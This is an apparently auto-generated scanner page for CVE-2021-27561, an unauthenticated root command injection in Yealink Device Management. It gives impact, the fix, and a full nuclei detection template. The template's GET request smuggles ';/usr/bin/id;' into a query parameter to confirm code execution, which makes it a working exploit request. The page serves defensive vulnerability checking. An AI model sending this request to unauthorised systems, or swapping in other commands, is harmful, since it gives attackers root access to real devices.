YeaLink DM 3.6.0.20 - Remote Command Injection

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

83.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Yealink Device Management (DM) 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.

Fix

Update to the latest firmware version provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;
Positive when: contains "uid" and "gid" and "groups" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2021-27561 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-27561

info:
  name: YeaLink DM 3.6.0.20 - Remote Command Injection
  author: shifacyclewala,hackergautam
  severity: critical
  description: Yealink Device Management (DM) 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
  remediation: |
    Update to the latest firmware version provided by the vendor to mitigate this vulnerability.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-yealink-dm-pre-auth-root-level-rce/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-27561
    - https://ssd-disclosure.com/?p=4688
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27561
    cwe-id: CWE-78
    epss-score: 0.83647
    epss-percentile: 0.9969
    cpe: cpe:2.3:a:yealink:device_management:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: yealink
    product: device_management
  tags: cve2021,cve,rce,yealink,mirai,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'uid'
          - 'gid'
          - 'groups'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"

References

Use this check only on systems you are authorised to test. Where the data comes from